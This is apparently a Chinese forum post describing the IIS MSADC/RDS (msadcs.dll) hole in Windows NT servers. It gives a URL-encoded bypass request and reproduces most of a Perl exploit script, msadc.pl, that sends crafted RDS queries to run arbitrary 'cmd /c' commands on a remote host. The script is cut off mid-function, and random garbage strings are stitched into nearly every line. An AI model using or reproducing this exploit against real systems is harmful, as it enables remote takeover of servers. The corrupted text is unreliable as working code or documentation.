IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
Yf%[6Y{ p=je"{ 涉及程序:
Au%Wrk3j Microsoft NT server
=W97|BIW, OqUE4.vIP 描述:
GhaAvyN 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
j>0SE
Fvcq^uZ 详细:
>V77X+! 如果你没有时间读详细内容的话,就删除:
~6pCOS} c:\Program Files\Common Files\System\Msadc\msadcs.dll
&ij^FAM 有关的安全问题就没有了。
4{1c7g rQAbN6 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
]&; G\9$y (*c`<|) 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
-#:Y+"' 关于利用ODBC远程漏洞的描述,请参看:
xNkwTDN5 u:p:*u_^I http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm +Uc&%Px M]pel\{M 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
4
g/<).1<b http://www.microsoft.com/security/bulletins/MS99-025faq.asp _r^G%Mvy| _j|n}7a 这里不再论述。
GNj/jU<o! 'ocwXyP, 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
,L8I7O}A; =[O<.'aG- /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
FeincZ!M 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
>(YPkmH ~Y}Z4" o <'+R%6 #将下面这段保存为txt文件,然后: "perl -x 文件名"
fM
zAf3 P,LXZ #!perl
I NFzX #
V9);kD # MSADC/RDS 'usage' (aka exploit) script
"J0Oa? #
l)2HHu< # by rain.forest.puppy
kKI!B`j=
#
6='_+{
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
z;Gbqr?{{ # beta test and find errors!
7m@^=w Z"PDOwj5 use Socket; use Getopt::Std;
|M0,%~Kt getopts("e:vd:h:XR", \%args);
.LhbhUEfn OQX{<pQ6 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
lMI
ix0sSj d(dw]6I6 if (!defined $args{h} && !defined $args{R}) {
g~WNL^GGS print qq~
@[Jt~v Usage: msadc.pl -h <host> { -d <delay> -X -v }
u"CIPc{Sr -h <host> = host you want to scan (ip or domain)
4YB7og%P -d <seconds> = delay between calls, default 1 second
~6Ee=NaLzP -X = dump Index Server path table, if available
S]e~)IgO -v = verbose
jwtXI\@MS -e = external dictionary file for step 5
Rqd %#v a)yNXn8E_ Or a -R will resume a command session
a5Acqa Dk.9&9mz ~; exit;}
lpX p)r+ ct|'I]nB.h $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
au9Wo<mR if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
D aqy+: if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
*<h if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
<8xP-(wk; $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
McMK|_H if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
_<' kzOj Vzv.e6_ if (!defined $args{R}){ $ret = &has_msadc;
}Rf:DmPE die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
"Ee/q :` P*qNRP% print "Please type the NT commandline you want to run (cmd /c assumed):\n"
BIB>U W . "cmd /c ";
o^"d2= $in=<STDIN>; chomp $in;
WRU@i;l $command="cmd /c " . $in ;
MjF.>4 t&?v9n"X if (defined $args{R}) {&load; exit;}
C">=2OO =-B3vd:LF print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
:4L5@>b- &try_btcustmr;
ztxQv5=:, =B 4g EWR print "\nStep 2: Trying to make our own DSN...";
VAB&&AL
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
8a If{(/k 0m|
Gp print "\nStep 3: Trying known DSNs...";
xuH<=-O>ki &known_dsn;
e|+;j}^C ,LW%'tQ~" print "\nStep 4: Trying known .mdbs...";
K5c7>I%k &known_mdb;
5['B-
Iw O|g!Y( if (defined $args{e}){
4 d 1Y\ print "\nStep 5: Trying dictionary of DSN names...";
F|ML$ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
S:GUR6g8D C?c -V, print "Sorry Charley...maybe next time?\n";
p?gLW/n exit;
MBTt'6M SO jDtZ ##############################################################################
HjY-b*B 7g<`wLAH sub sendraw { # ripped and modded from whisker
DEeL48{R sleep($delay); # it's a DoS on the server! At least on mine...
xo"4mbTV my ($pstr)=@_;
0b QiUcg/ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
QCY{D@7T die("Socket problems\n");
So]FDd if(connect(S,pack "SnA4x8",2,80,$target)){
NS/L! "g select(S); $|=1;
nO7o7bc print $pstr; my @in=<S>;
D+U/ ]sW select(STDOUT); close(S);
y&I|m return @in;
an5kR_= } else { die("Can't connect...\n"); }}
TD=/C| ;s/b_RN ##############################################################################
%D6Wlf+^n _q 9lr8hx sub make_header { # make the HTTP request
=$z$VbBv my $msadc=<<EOT
hO@v\@;r POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
wyhf:!-I User-Agent: ACTIVEDATA
y Q @=\' Host: $ip
EqDYQ
7 Content-Length: $clen
~ M>zO#U6 Connection: Keep-Alive
qQRYHo>/e [/,6O ADCClientVersion:01.06
Rw^YTv Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
<"Cwy0V kp pnw4QQ9 --!ADM!ROX!YOUR!WORLD!
S^"e5n2 Content-Type: application/x-varg
z00:59M4 Content-Length: $reqlen
{%k;V ~ /!uBk3x: EOT
5dEO_1q
% ; $msadc=~s/\n/\r\n/g;
e.YchGTQ return $msadc;}
7T;RXrT n&78~@H ##############################################################################
ok_{8z\# xR6IXF>* sub make_req { # make the RDS request
MifgRUe my ($switch, $p1, $p2)=@_;
A;nmua-Fv my $req=""; my $t1, $t2, $query, $dsn;
=5_F9nk- #i=^WN<V if ($switch==1){ # this is the btcustmr.mdb query
$I]x &cF $query="Select * from Customers where City=" . make_shell();
B148wh#r $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
BW\5RIWwE5 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
KKXb,/ U8Jj(]},_ elsif ($switch==2){ # this is general make table query
-6 Si $query="create table AZZ (B int, C varchar(10))";
j/IZm)\ $dsn="$p1";}
%~VIxY|d >f05+%^[ elsif ($switch==3){ # this is general exploit table query
aJ_Eh(cF $query="select * from AZZ where C=" . make_shell();
M<m64{m1 $dsn="$p1";}
F+9`G[ )H,<i{80c elsif ($switch==4){ # attempt to hork file info from index server
M!DoR6 $query="select path from scope()";
nhhJUN?8 $dsn="Provider=MSIDXS;";}
Kqu7DZ+W 0J-ux"kfI elsif ($switch==5){ # bad query
WbzL!zLd! $query="select";
rbS=Ewk $dsn="$p1";}
;-Dd\\)p S^n4aBm\+ $t1= make_unicode($query);
}4MG114j $t2= make_unicode($dsn);
sU!q~`; J $req = "\x02\x00\x03\x00";
I}A#*iD $req.= "\x08\x00" . pack ("S1", length($t1));
C:EoUu $req.= "\x00\x00" . $t1 ;
;mxT>|z $req.= "\x08\x00" . pack ("S1", length($t2));
`IQC\DSl/ $req.= "\x00\x00" . $t2 ;
:Lzj'Ij $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
&